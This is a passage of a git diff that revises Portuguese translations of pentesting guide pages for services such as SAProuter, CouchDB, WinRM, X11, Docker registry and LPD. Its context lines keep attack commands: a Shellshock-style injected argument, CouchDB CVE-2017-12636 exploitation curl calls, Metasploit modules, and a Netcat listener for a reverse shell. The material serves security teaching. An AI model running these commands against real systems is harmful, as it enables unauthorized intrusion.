até **mostrar IPs internos ou diferentes IPs** do que você usou._ +_Note que ele mostrará o I**P e a porta das interfaces** onde você pode **alcançar** esses **alvos**. Ele pode até **mostrar IPs internos ou IPs diferentes** do que você usou._ Então você **captura a 2ª parte da string impressa de cada linha** (_iqn.1992-05.com.emc:fl1001433000190000-3-vnxe_ da primeira linha) e **tenta fazer login**: ```bash diff --git a/src/network-services-pentesting/3299-pentesting-saprouter.md b/src/network-services-pentesting/3299-pentesting-saprouter.md index fec1b71d4..5d523deee 100644 --- a/src/network-services-pentesting/3299-pentesting-saprouter.md +++ b/src/network-services-pentesting/3299-pentesting-saprouter.md @@ -7,7 +7,7 @@ Este é um resumo do post de [https://blog.rapid7.com/2014/01/09/piercing-saprou ## Compreendendo a Penetração do SAProuter com Metasploit -O SAProuter atua como um proxy reverso para sistemas SAP, principalmente para controlar o acesso entre a internet e redes internas SAP. Ele é comumente exposto à internet permitindo a passagem da porta TCP 3299 através de firewalls organizacionais. Essa configuração torna o SAProuter um alvo atraente para pentesting, pois pode servir como um gateway para redes internas de alto valor. +O SAProuter atua como um proxy reverso para sistemas SAP, principalmente para controlar o acesso entre a internet e redes internas SAP. Ele é comumente exposto à internet permitindo a passagem da porta TCP 3299 através dos firewalls organizacionais. Essa configuração torna o SAProuter um alvo atraente para pentesting, pois pode servir como um gateway para redes internas de alto valor. **Escaneamento e Coleta de Informações** @@ -23,7 +23,7 @@ msf auxiliary(sap_router_info_request) > use auxiliary/scanner/sap/sap_router_in msf auxiliary(sap_router_info_request) > set RHOSTS 1.2.3.101 msf auxiliary(sap_router_info_request) > run ``` -**Enumeração de Serviços Internos** +**Enumerando Serviços Internos** Com as informações obtidas da rede interna, o módulo **sap_router_portscanner** é usado para sondar hosts e serviços internos através do SAProuter, permitindo uma compreensão mais profunda das redes internas e das configurações de serviços. ```text @@ -34,7 +34,7 @@ A flexibilidade deste módulo em direcionar instâncias e portas SAP específica **Enumeração Avançada e Mapeamento de ACL** -A varredura adicional pode revelar como as Listas de Controle de Acesso (ACLs) estão configuradas no SAProuter, detalhando quais conexões são permitidas ou bloqueadas. Esta informação é fundamental para entender as políticas de segurança e as potenciais vulnerabilidades. +Escaneamentos adicionais podem revelar como as Listas de Controle de Acesso (ACLs) estão configuradas no SAProuter, detalhando quais conexões são permitidas ou bloqueadas. Esta informação é fundamental para entender as políticas de segurança e as potenciais vulnerabilidades. ```text msf auxiliary(sap_router_portscanner) > set MODE TCP msf auxiliary(sap_router_portscanner) > set PORTS 80,32NN diff --git a/src/network-services-pentesting/3690-pentesting-subversion-svn-server.md b/src/network-services-pentesting/3690-pentesting-subversion-svn-server.md index 64c3cff0f..de4399094 100644 --- a/src/network-services-pentesting/3690-pentesting-subversion-svn-server.md +++ b/src/network-services-pentesting/3690-pentesting-subversion-svn-server.md @@ -2,7 +2,7 @@ # Informações Básicas -**Subversion** é um **sistema de controle de versão** centralizado que desempenha um papel crucial na gestão de dados presentes e históricos de projetos. Sendo uma ferramenta **open source**, opera sob a **licença Apache**. Este sistema é amplamente reconhecido por suas capacidades em **versionamento de software e controle de revisões**, garantindo que os usuários possam acompanhar as mudanças ao longo do tempo de forma eficiente. +**Subversion** é um **sistema de controle de versão** centralizado que desempenha um papel crucial na gestão tanto dos dados presentes quanto históricos de projetos. Sendo uma ferramenta **open source**, opera sob a **licença Apache**. Este sistema é amplamente reconhecido por suas capacidades em **versionamento de software e controle de revisões**, garantindo que os usuários possam acompanhar as mudanças ao longo do tempo de forma eficiente. **Porta padrão:** 3690 ``` diff --git a/src/network-services-pentesting/43-pentesting-whois.md b/src/network-services-pentesting/43-pentesting-whois.md index 7d8aff9b9..f77fb07c3 100644 --- a/src/network-services-pentesting/43-pentesting-whois.md +++ b/src/network-services-pentesting/43-pentesting-whois.md @@ -4,7 +4,7 @@ ## Informações Básicas -O protocolo **WHOIS** serve como um método padrão para **consultar os registrantes ou detentores de vários recursos da Internet** através de bancos de dados específicos. Esses recursos abrangem nomes de domínio, blocos de endereços IP e sistemas autônomos, entre outros. Além disso, o protocolo é aplicado no acesso a um espectro mais amplo de informações. +O protocolo **WHOIS** serve como um método padrão para **consultar os registrantes ou detentores de vários recursos da Internet** através de bancos de dados específicos. Esses recursos abrangem nomes de domínio, blocos de endereços IP e sistemas autônomos, entre outros. Além disso, o protocolo encontra aplicação no acesso a um espectro mais amplo de informações. **Porta padrão:** 43 ``` diff --git a/src/network-services-pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd.md b/src/network-services-pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd.md index bd9e42fc2..32dcedafc 100644 --- a/src/network-services-pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd.md +++ b/src/network-services-pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd.md @@ -55,7 +55,7 @@ At last, we can start an erlang shell on the remote system. "uid=0(root) gid=0(root) groups=0(root)\n" ``` Mais informações em [https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/](https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/)\ -O autor também compartilha um programa para forçar a senha do cookie: +O autor também compartilha um programa para bruteforçar o cookie: {% file src="../images/epmd_bf-0.1.tar.bz2" %} diff --git a/src/network-services-pentesting/44134-pentesting-tiller-helm.md b/src/network-services-pentesting/44134-pentesting-tiller-helm.md index f08e31013..9889bd597 100644 --- a/src/network-services-pentesting/44134-pentesting-tiller-helm.md +++ b/src/network-services-pentesting/44134-pentesting-tiller-helm.md @@ -44,7 +44,7 @@ helm --host tiller-deploy.kube-system:44134 version ``` ## Escalada de Privilégios -Por padrão, **Helm2** foi instalado no **namespace kube-system** com **altos privilégios**, então se você encontrar o serviço e tiver acesso a ele, isso pode permitir que você **escalone privilégios**. +Por padrão, **Helm2** foi instalado no **namespace kube-system** com **altos privilégios**, então se você encontrar o serviço e tiver acesso a ele, isso pode permitir que você **escalade privilégios**. Tudo o que você precisa fazer é instalar um pacote como este: [**https://github.com/Ruil1n/helm-tiller-pwn**](https://github.com/Ruil1n/helm-tiller-pwn) que dará ao **token de serviço padrão acesso a tudo em todo o cluster.** ``` diff --git a/src/network-services-pentesting/44818-ethernetip.md b/src/network-services-pentesting/44818-ethernetip.md index a670aeb2f..564fbd4a4 100644 --- a/src/network-services-pentesting/44818-ethernetip.md +++ b/src/network-services-pentesting/44818-ethernetip.md @@ -2,7 +2,7 @@ # **Informações do Protocolo** -EtherNet/IP é um **protocolo de rede Ethernet industrial** comumente usado em **sistemas de controle de automação industrial**. Foi desenvolvido pela Rockwell Automation no final dos anos 1990 e é gerenciado pela ODVA. O protocolo garante **interoperabilidade de sistemas de múltiplos fornecedores** e é utilizado em várias aplicações, como **plantas de processamento de água**, **instalações de manufatura** e **serviços públicos**. Para identificar um dispositivo EtherNet/IP, uma consulta é enviada para **TCP/44818** com uma **Mensagem de Identidades de Lista (0x63)**. +EtherNet/IP é um **protocolo de rede Ethernet industrial** comumente usado em **sistemas de controle de automação industrial**. Foi desenvolvido pela Rockwell Automation no final dos anos 1990 e é gerenciado pela ODVA. O protocolo garante **interoperabilidade de sistemas de múltiplos fornecedores** e é utilizado em várias aplicações, como **plantas de processamento de água**, **instalações de manufatura** e **serviços públicos**. Para identificar um dispositivo EtherNet/IP, uma consulta é enviada para **TCP/44818** com uma **Mensagem de Identidades (0x63)**. **Porta padrão:** 44818 UDP/TCP ``` diff --git a/src/network-services-pentesting/4786-cisco-smart-install.md b/src/network-services-pentesting/4786-cisco-smart-install.md index 84cbc0d35..363b36408 100644 --- a/src/network-services-pentesting/4786-cisco-smart-install.md +++ b/src/network-services-pentesting/4786-cisco-smart-install.md @@ -18,7 +18,7 @@ PORT STATE SERVICE **Um pacote especialmente elaborado enviado para a porta TCP/4786, onde o Cisco Smart Install está ativo, aciona um estouro de buffer, permitindo que um atacante:** -- reinicie forçosamente o dispositivo +- reinicie forçadamente o dispositivo - chame RCE - roube configurações de equipamentos de rede. diff --git a/src/network-services-pentesting/4840-pentesting-opc-ua.md b/src/network-services-pentesting/4840-pentesting-opc-ua.md index 7f51ce46b..99e261acd 100644 --- a/src/network-services-pentesting/4840-pentesting-opc-ua.md +++ b/src/network-services-pentesting/4840-pentesting-opc-ua.md @@ -4,7 +4,7 @@ ## Informações Básicas -**OPC UA**, que significa **Open Platform Communications Unified Access**, é um protocolo de código aberto crucial usado em várias indústrias como Manufatura, Energia, Aeroespacial e Defesa para troca de dados e controle de equipamentos. Ele permite de forma única que equipamentos de diferentes fornecedores se comuniquem, especialmente com PLCs. +**OPC UA**, que significa **Open Platform Communications Unified Access**, é um protocolo de código aberto crucial utilizado em várias indústrias como Manufatura, Energia, Aeroespacial e Defesa para troca de dados e controle de equipamentos. Ele permite de forma única que equipamentos de diferentes fornecedores se comuniquem, especialmente com PLCs. Sua configuração permite medidas de segurança robustas, mas muitas vezes, para compatibilidade com dispositivos mais antigos, essas medidas são reduzidas, expondo os sistemas a riscos. Além disso, encontrar serviços OPC UA pode ser complicado, uma vez que scanners de rede podem não detectá-los se estiverem em portas não padrão. @@ -23,7 +23,7 @@ opalopc -vv opc.tcp://$target_ip_or_hostname:$target_port Se vulnerabilidades de bypass de autenticação forem encontradas, você pode configurar um [OPC UA client](https://www.prosysopc.com/products/opc-ua-browser/) de acordo e ver o que pode acessar. Isso pode permitir desde apenas ler valores de processo até realmente operar equipamentos industriais pesados. -Para ter uma ideia do dispositivo ao qual você tem acesso, leia os valores do nó "ServerStatus" no espaço de endereços e pesquise um manual de uso no Google. +Para ter uma ideia do dispositivo ao qual você tem acesso, leia os valores do nó "ServerStatus" no espaço de endereços e pesquise um manual de uso. ## Shodan diff --git a/src/network-services-pentesting/49-pentesting-tacacs+.md b/src/network-services-pentesting/49-pentesting-tacacs+.md index fae3314f2..1af166526 100644 --- a/src/network-services-pentesting/49-pentesting-tacacs+.md +++ b/src/network-services-pentesting/49-pentesting-tacacs+.md @@ -21,17 +21,17 @@ Um **ataque de spoofing ARP pode ser utilizado para realizar um ataque Man-in-th ### Quebrando a Chave -[Loki](https://c0decafe.de/svn/codename_loki/trunk/) pode ser usado para forçar a chave: +[Loki](https://c0decafe.de/svn/codename_loki/trunk/) pode ser usado para quebrar a chave: ``` sudo loki_gtk.py ``` -Se a chave for **quebrada por força bruta** (**geralmente em formato criptografado MD5**), **podemos acessar o equipamento e descriptografar o tráfego criptografado TACACS.** +Se a chave for **quebrada por força bruta** (**geralmente em formato MD5 criptografado**), **podemos acessar o equipamento e descriptografar o tráfego criptografado pelo TACACS.** ### Descriptografando o Tráfego -Uma vez que a chave é quebrada com sucesso, o próximo passo é **descriptografar o tráfego criptografado TACACS**. O Wireshark pode lidar com tráfego TACACS criptografado se a chave for fornecida. Ao analisar o tráfego descriptografado, informações como o **banner utilizado e o nome de usuário do admin** podem ser obtidas. +Uma vez que a chave é quebrada com sucesso, o próximo passo é **descriptografar o tráfego criptografado pelo TACACS**. O Wireshark pode lidar com tráfego TACACS criptografado se a chave for fornecida. Ao analisar o tráfego descriptografado, informações como o **banner utilizado e o nome de usuário do admin** podem ser obtidas. -Ao obter acesso ao painel de controle do equipamento de rede usando as credenciais obtidas, o atacante pode exercer controle sobre a rede. É importante notar que essas ações são estritamente para fins educacionais e não devem ser usadas sem a devida autorização. +Ao ganhar acesso ao painel de controle do equipamento de rede usando as credenciais obtidas, o atacante pode exercer controle sobre a rede. É importante notar que essas ações são estritamente para fins educacionais e não devem ser usadas sem a devida autorização. ## Referências diff --git a/src/network-services-pentesting/5000-pentesting-docker-registry.md b/src/network-services-pentesting/5000-pentesting-docker-registry.md index 4450ee8bf..a1bf70d93 100644 --- a/src/network-services-pentesting/5000-pentesting-docker-registry.md +++ b/src/network-services-pentesting/5000-pentesting-docker-registry.md @@ -204,7 +204,7 @@ curl http://10.10.10.10:5000/v2/ubuntu/blobs/sha256:2a62ecb2a3e5bcdbac8b6edc58fa tar -xf blob1.tar #After this,inspect the new folders and files created in the current directory ``` > [!WARNING] -> Note que ao baixar e descompactar os arquivos e pastas de blobs, eles aparecerão no diretório atual. **Se você baixar todos os blobs e descompactá-los na mesma pasta, eles sobrescreverão os valores dos blobs descompactados anteriormente**, então tenha cuidado. Pode ser interessante descompactar cada blob dentro de uma pasta diferente para inspecionar o conteúdo exato de cada blob. +> Note que ao baixar e descompactar os arquivos e pastas de blobs, eles aparecerão no diretório atual. **Se você baixar todos os blobs e descompactá-los na mesma pasta, eles substituirão os valores dos blobs descompactados anteriormente**, então tenha cuidado. Pode ser interessante descompactar cada blob dentro de uma pasta diferente para inspecionar o conteúdo exato de cada blob. ### Enumeração usando docker ```bash @@ -225,7 +225,7 @@ docker run -it 10.10.10.10:5000/ubuntu bash #Leave this shell running docker ps #Using a different shell docker exec -it 7d3a81fe42d7 bash #Get ash shell inside docker container ``` -### Inserindo um backdoor na imagem do WordPress +### Backdooring WordPress image No cenário em que você encontrou um Docker Registry salvando uma imagem do wordpress, você pode inserir um backdoor.\ **Crie** o **backdoor**: diff --git a/src/network-services-pentesting/50030-50060-50070-50075-50090-pentesting-hadoop.md b/src/network-services-pentesting/50030-50060-50070-50075-50090-pentesting-hadoop.md index 93a8b7495..f14ef73e3 100644 --- a/src/network-services-pentesting/50030-50060-50070-50075-50090-pentesting-hadoop.md +++ b/src/network-services-pentesting/50030-50060-50070-50075-50090-pentesting-hadoop.md @@ -4,7 +4,7 @@ **Apache Hadoop** é um **framework de código aberto** para **armazenamento e processamento distribuído** de **grandes conjuntos de dados** em **clusters de computadores**. Ele usa **HDFS** para armazenamento e **MapReduce** para processamento. -Infelizmente, o Hadoop não possui suporte no framework Metasploit no momento da documentação. No entanto, você pode usar os seguintes **scripts Nmap** para enumerar os serviços Hadoop: +Infelizmente, o Hadoop não possui suporte no framework Metasploit no momento da documentação. No entanto, você pode usar os seguintes **scripts do Nmap** para enumerar os serviços do Hadoop: - **`hadoop-jobtracker-info (Port 50030)`** - **`hadoop-tasktracker-info (Port 50060)`** diff --git a/src/network-services-pentesting/515-pentesting-line-printer-daemon-lpd.md b/src/network-services-pentesting/515-pentesting-line-printer-daemon-lpd.md index f93c64833..046816900 100644 --- a/src/network-services-pentesting/515-pentesting-line-printer-daemon-lpd.md +++ b/src/network-services-pentesting/515-pentesting-line-printer-daemon-lpd.md @@ -21,7 +21,7 @@ lpdtest.py hostname in '() {:;}; ping -c1 1.2.3.4' # To send a mail through the printer lpdtest.py hostname mail lpdtest@mailhost.local ``` -Para indivíduos interessados em explorar mais a fundo o reino do **hacking de impressoras**, um recurso abrangente pode ser encontrado aqui: [**Hacking Printers**](http://hacking-printers.net/wiki/index.php/Main_Page). +Para indivíduos interessados em explorar mais a fundo o reino do **printer hacking**, um recurso abrangente pode ser encontrado aqui: [**Hacking Printers**](http://hacking-printers.net/wiki/index.php/Main_Page). # Shodan diff --git a/src/network-services-pentesting/5353-udp-multicast-dns-mdns.md b/src/network-services-pentesting/5353-udp-multicast-dns-mdns.md index 22a603aef..bbed06354 100644 --- a/src/network-services-pentesting/5353-udp-multicast-dns-mdns.md +++ b/src/network-services-pentesting/5353-udp-multicast-dns-mdns.md @@ -11,7 +11,7 @@ PORT STATE SERVICE ``` ### **Operação do mDNS** -Em ambientes sem um servidor DNS padrão, o mDNS permite que dispositivos resolvam nomes de domínio terminando em **.local** consultando o endereço multicast **224.0.0.251** (IPv4) ou **FF02::FB** (IPv6). Aspectos importantes do mDNS incluem um valor de **Time-to-Live (TTL)** que indica a validade do registro e um **bit QU** que distingue entre consultas unicast e multicast. Do ponto de vista da segurança, é crucial que as implementações de mDNS verifiquem se o endereço de origem do pacote está alinhado com a sub-rede local. +Em ambientes sem um servidor DNS padrão, o mDNS permite que dispositivos resolvam nomes de domínio terminando em **.local** consultando o endereço multicast **224.0.0.251** (IPv4) ou **FF02::FB** (IPv6). Aspectos importantes do mDNS incluem um valor de **Time-to-Live (TTL)** que indica a validade do registro e um **bit QU** que distingue entre consultas unicast e multicast. Em termos de segurança, é crucial que as implementações de mDNS verifiquem se o endereço de origem do pacote está alinhado com a sub-rede local. ### **Funcionamento do DNS-SD** @@ -35,7 +35,7 @@ sudo python3 pholus3.py [network interface] -rq -stimeout 10 ``` ## Ataques -### **Explorando a Probing mDNS** +### **Explorando a Probing do mDNS** Um vetor de ataque envolve o envio de respostas falsificadas para as sondas mDNS, sugerindo que todos os nomes potenciais já estão em uso, dificultando que novos dispositivos selecionem um nome único. Isso pode ser executado usando: ```bash @@ -43,11 +43,11 @@ sudo python pholus.py [network interface] -afre -stimeout 1000 ``` Esta técnica bloqueia efetivamente novos dispositivos de registrarem seus serviços na rede. -**Em resumo**, entender o funcionamento do mDNS e DNS-SD é crucial para a gestão e segurança da rede. Ferramentas como **nmap** e **Pholus** oferecem insights valiosos sobre os serviços da rede local, enquanto a conscientização sobre vulnerabilidades potenciais ajuda a proteger contra ataques. +**Em resumo**, entender o funcionamento do mDNS e DNS-SD é crucial para a gestão e segurança da rede. Ferramentas como **nmap** e **Pholus** oferecem insights valiosos sobre os serviços de rede local, enquanto a conscientização sobre vulnerabilidades potenciais ajuda a proteger contra ataques. ### Spoofing/MitM -O ataque mais interessante que você pode realizar sobre este serviço é executar um **MitM** na **comunicação entre o cliente e o servidor real**. Você pode ser capaz de obter arquivos sensíveis (MitM na comunicação com a impressora) ou até mesmo credenciais (autenticação do Windows).\ +O ataque mais interessante que você pode realizar sobre este serviço é executar um **MitM** na **comunicação entre o cliente e o servidor real**. Você pode ser capaz de obter arquivos sensíveis (MitM a comunicação com a impressora) ou até mesmo credenciais (autenticação do Windows).\ Para mais informações, consulte: {{#ref}} diff --git a/src/network-services-pentesting/554-8554-pentesting-rtsp.md b/src/network-services-pentesting/554-8554-pentesting-rtsp.md index 0f793b372..3381e5801 100644 --- a/src/network-services-pentesting/554-8554-pentesting-rtsp.md +++ b/src/network-services-pentesting/554-8554-pentesting-rtsp.md @@ -8,7 +8,7 @@ De [wikipedia](https://en.wikipedia.org/wiki/Real_Time_Streaming_Protocol): > O **Real Time Streaming Protocol** (**RTSP**) é um protocolo de controle de rede projetado para uso em sistemas de entretenimento e comunicações para controlar servidores de mídia em streaming. O protocolo é usado para estabelecer e controlar sessões de mídia entre pontos finais. Clientes de servidores de mídia emitem comandos no estilo VHS, como reproduzir, gravar e pausar, para facilitar o controle em tempo real da mídia transmitida do servidor para um cliente (Video On Demand) ou de um cliente para o servidor (Voice Recording). > -> A transmissão de dados de streaming em si não é uma tarefa do RTSP. A maioria dos servidores RTSP usa o Protocolo de Transporte em Tempo Real (RTP) em conjunto com o Protocolo de Controle em Tempo Real (RTCP) para entrega de fluxo de mídia. No entanto, alguns fornecedores implementam protocolos de transporte proprietários. O software do servidor RTSP da RealNetworks, por exemplo, também usou o Protocolo de Transporte de Dados Real (RDT) proprietário da RealNetworks. +> A transmissão de dados de streaming em si não é uma tarefa do RTSP. A maioria dos servidores RTSP usa o Protocolo de Transporte em Tempo Real (RTP) em conjunto com o Protocolo de Controle em Tempo Real (RTCP) para entrega de fluxo de mídia. No entanto, alguns fornecedores implementam protocolos de transporte proprietários. O software do servidor RTSP da RealNetworks, por exemplo, também usou o Transporte de Dados Real Proprietário (RDT) da RealNetworks. **Portas padrão:** 554,8554 ``` diff --git a/src/network-services-pentesting/5601-pentesting-kibana.md b/src/network-services-pentesting/5601-pentesting-kibana.md index 9a6d00caa..85473a3ea 100644 --- a/src/network-services-pentesting/5601-pentesting-kibana.md +++ b/src/network-services-pentesting/5601-pentesting-kibana.md @@ -13,8 +13,8 @@ O processo de autenticação no Kibana está intrinsecamente ligado às **creden Uma vez que o acesso ao Kibana esteja seguro, várias ações são aconselháveis: - Explorar dados do Elasticsearch deve ser uma prioridade. -- A capacidade de gerenciar usuários, incluindo a edição, exclusão ou criação de novos usuários, funções ou chaves de API, pode ser encontrada em Gerenciamento do Stack -> Usuários/Funções/Chaves de API. -- É importante verificar a versão instalada do Kibana em busca de vulnerabilidades conhecidas, como a vulnerabilidade RCE identificada em versões anteriores à 6.6.0 ([Mais Informações](https://insinuator.net/2021/01/pentesting-the-elk-stack/#ref2)). +- A capacidade de gerenciar usuários, incluindo a edição, exclusão ou criação de novos usuários, funções ou chaves de API, pode ser encontrada em Gerenciamento de Stack -> Usuários/Funções/Chaves de API. +- É importante verificar a versão instalada do Kibana em busca de vulnerabilidades conhecidas, como a vulnerabilidade RCE identificada em versões anteriores a 6.6.0 ([Mais Informações](https://insinuator.net/2021/01/pentesting-the-elk-stack/#ref2)). ## Considerações sobre SSL/TLS diff --git a/src/network-services-pentesting/5671-5672-pentesting-amqp.md b/src/network-services-pentesting/5671-5672-pentesting-amqp.md index fce486217..e56efc3ec 100644 --- a/src/network-services-pentesting/5671-5672-pentesting-amqp.md +++ b/src/network-services-pentesting/5671-5672-pentesting-amqp.md @@ -6,7 +6,7 @@ De [cloudamqp](https://www.cloudamqp.com/blog/2015-05-18-part1-rabbitmq-for-beginners-what-is-rabbitmq.html): -> **RabbitMQ** é um **software de enfileiramento de mensagens** também conhecido como _broker de mensagens_ ou _gerenciador de filas._ Simplificando; é um software onde filas são definidas, às quais as aplicações se conectam para transferir uma mensagem ou mensagens.\ +> **RabbitMQ** é um **software de enfileiramento de mensagens** também conhecido como _broker de mensagens_ ou _gerenciador de filas._ Simplificando; é um software onde filas são definidas, às quais aplicações se conectam para transferir uma mensagem ou mensagens.\ > Uma **mensagem pode incluir qualquer tipo de informação**. Pode, por exemplo, conter informações sobre um processo ou tarefa que deve ser iniciada em outra aplicação (que pode até estar em outro servidor), ou pode ser apenas uma simples mensagem de texto. O software gerenciador de filas armazena as mensagens até que uma aplicação receptora se conecte e retire uma mensagem da fila. A aplicação receptora então processa a mensagem.\ > Definição de . diff --git a/src/network-services-pentesting/5984-pentesting-couchdb.md b/src/network-services-pentesting/5984-pentesting-couchdb.md index c5c5d9b7c..acbfd62c5 100644 --- a/src/network-services-pentesting/5984-pentesting-couchdb.md +++ b/src/network-services-pentesting/5984-pentesting-couchdb.md @@ -65,7 +65,7 @@ curl -X GET http://user:password@IP:5984/_all_dbs ``` Para encontrar Credenciais válidas, você pode **tentar** [**fazer brute force no serviço**](../generic-hacking/brute-force.md#couchdb). -Este é um **exemplo** de uma **resposta** do couchdb quando você tem **privilegios suficientes** para listar bancos de dados (É apenas uma lista de dbs): +Este é um **exemplo** de uma **resposta** do couchdb quando você tem **privilégios suficientes** para listar bancos de dados (É apenas uma lista de dbs): ```bash ["_global_changes","_metadata","_replicator","_users","passwords","simpsons"] ``` @@ -127,7 +127,7 @@ root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b ``` -Para aqueles interessados em entender como esse "cookie" pode ser explorado para Execução Remota de Código (RCE) no contexto de sistemas Erlang, uma seção dedicada está disponível para leitura adicional. Ela detalha as metodologias para aproveitar cookies Erlang de maneiras não autorizadas para obter controle sobre os sistemas. Você pode [**explorar o guia detalhado sobre como abusar de cookies Erlang para RCE aqui**](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce). +Para aqueles interessados em entender como esse "cookie" pode ser explorado para Execução Remota de Código (RCE) no contexto de sistemas Erlang, uma seção dedicada está disponível para leitura adicional. Ela detalha as metodologias para aproveitar cookies Erlang de maneiras não autorizadas para obter controle sobre sistemas. Você pode [**explorar o guia detalhado sobre como abusar de cookies Erlang para RCE aqui**](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce). ### **Explorando CVE-2018-8007 através da Modificação de local.ini** @@ -174,7 +174,7 @@ Para mais detalhes sobre o CVE-2018-8007, consulte o aviso da mdsec: [CVE-2018-8 Exemplo [daqui](https://0xdf.gitlab.io/2018/09/15/htb-canape.html). -Uma vulnerabilidade conhecida como CVE-2017-12636 foi explorada, que permite a execução de código via o processo CouchDB, embora configurações específicas possam impedir sua exploração. Apesar de numerosas referências de Prova de Conceito (POC) disponíveis online, ajustes são necessários para explorar a vulnerabilidade na versão 2 do CouchDB, diferindo da versão 1.x, comumente alvo. Os passos iniciais envolvem verificar a versão do CouchDB e confirmar a ausência do caminho esperado dos servidores de consulta: +Uma vulnerabilidade conhecida como CVE-2017-12636 foi explorada, que permite a execução de código via o processo CouchDB, embora configurações específicas possam impedir sua exploração. Apesar de numerosas referências de Prova de Conceito (POC) disponíveis online, ajustes são necessários para explorar a vulnerabilidade na versão 2 do CouchDB, diferindo da versão 1.x, comumente visada. Os passos iniciais envolvem verificar a versão do CouchDB e confirmar a ausência do caminho esperado dos servidores de consulta: ```bash curl http://localhost:5984 curl http://0xdf:df@localhost:5984/_config/query_servers/ @@ -203,10 +203,10 @@ curl -X PUT 'http://0xdf:df@localhost:5984/df' curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}' curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}' ``` -Um [**resumo**](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc2b557610ef5cce09df6a14b10caf8f75a0) com uma carga útil alternativa fornece mais informações sobre a exploração do CVE-2017-12636 sob condições específicas. **Recursos úteis** para explorar essa vulnerabilidade incluem: +Um [**resumo**](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc2b557610ef5cce09df6a14b10caf8f75a0) com uma carga útil alternativa fornece mais informações sobre a exploração da CVE-2017-12636 sob condições específicas. **Recursos úteis** para explorar essa vulnerabilidade incluem: - [Código de exploração POC](https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py) -- [Entrada na Exploit Database](https://www.exploit-db.com/exploits/44913/) +- [Entrada do Exploit Database](https://www.exploit-db.com/exploits/44913/) ## Shodan diff --git a/src/network-services-pentesting/5985-5986-pentesting-winrm.md b/src/network-services-pentesting/5985-5986-pentesting-winrm.md index 217837c28..3b05515d3 100644 --- a/src/network-services-pentesting/5985-5986-pentesting-winrm.md +++ b/src/network-services-pentesting/5985-5986-pentesting-winrm.md @@ -15,12 +15,12 @@ Uma porta aberta da lista acima significa que o WinRM foi configurado, permitind ### **Iniciando uma Sessão WinRM** -Para configurar o PowerShell para WinRM, o cmdlet `Enable-PSRemoting` da Microsoft é utilizado, configurando o computador para aceitar comandos remotos do PowerShell. Com acesso elevado ao PowerShell, os seguintes comandos podem ser executados para habilitar essa funcionalidade e designar qualquer host como confiável: +Para configurar o PowerShell para WinRM, o cmdlet `Enable-PSRemoting` da Microsoft entra em cena, configurando o computador para aceitar comandos remotos do PowerShell. Com acesso elevado ao PowerShell, os seguintes comandos podem ser executados para habilitar essa funcionalidade e designar qualquer host como confiável: ```powershell Enable-PSRemoting -Force Set-Item wsman:\localhost\client\trustedhosts * ``` -Essa abordagem envolve adicionar um curinga à configuração `trustedhosts`, um passo que requer consideração cautelosa devido às suas implicações. Também é observado que alterar o tipo de rede de "Pública" para "Trabalho" pode ser necessário na máquina do atacante. +Essa abordagem envolve adicionar um curinga à configuração `trustedhosts`, um passo que requer consideração cautelosa devido às suas implicações. Também é observado que alterar o tipo de rede de "Público" para "Trabalho" pode ser necessário na máquina do atacante. Além disso, o WinRM pode ser **ativado remotamente** usando o comando `wmic`, demonstrado da seguinte forma: ```powershell @@ -56,7 +56,7 @@ Você também pode **executar um comando do seu console PS atual via** _**Invoke ```powershell Invoke-Command -ComputerName -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"] ``` -### Execute um Script +### Executar um Script ```powershell Invoke-Command -ComputerName -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta] ``` @@ -66,7 +66,7 @@ Invoke-Command -ComputerName -ScriptBlock {cmd /c "powershell -ep ``` ### Obter uma sessão PS -Para obter um shell interativo do PowerShell, use `Enter-PSSession`: +Para obter um shell PowerShell interativo, use `Enter-PSSession`: ```powershell #If you need to use different creds $password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force diff --git a/src/network-services-pentesting/6000-pentesting-x11.md b/src/network-services-pentesting/6000-pentesting-x11.md index 43b443dba..97d2e37a5 100644 --- a/src/network-services-pentesting/6000-pentesting-x11.md +++ b/src/network-services-pentesting/6000-pentesting-x11.md @@ -70,9 +70,7 @@ Caminho de: [https://resources.infosecinstitute.com/exploiting-x11-unauthenticat ``` ./xrdp.py ``` -Caminho de: [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html) - -Primeiro, precisamos encontrar o ID da janela usando xwininfo. +Primeiro, precisamos encontrar o ID da janela usando xwininfo ``` xwininfo -root -display 10.9.xx.xx:0 @@ -114,7 +112,7 @@ msf> use exploit/unix/x11/x11_keyboard_exec ```bash ./xrdp.py \ –no-disp ``` -Na interface, você pode ver a opção **R-shell**. +Na interface, você pode ver a **opção R-shell**. Em seguida, inicie um **listener Netcat** em seu sistema local na porta 5555. ```bash diff --git a/src/network-services-pentesting/623-udp-ipmi.md b/src/network-services-pentesting/623-udp-ipmi.md index 8a6520cea..353926815 100644 --- a/src/network-services-pentesting/623-udp-ipmi.md +++ b/src/network-services-pentesting/623-udp-ipmi.md @@ -19,7 +19,7 @@ O IPMI é capaz de monitorar temperaturas, voltagens, velocidades de ventiladore Desde sua introdução pela Intel em 1998, o IPMI tem sido suportado por diversos fornecedores, aprimorando as capacidades de gerenciamento remoto, especialmente com o suporte da versão 2.0 para serial over LAN. Os componentes principais incluem: -- **Baseboard Management Controller (BMC):** O microcontrolador principal 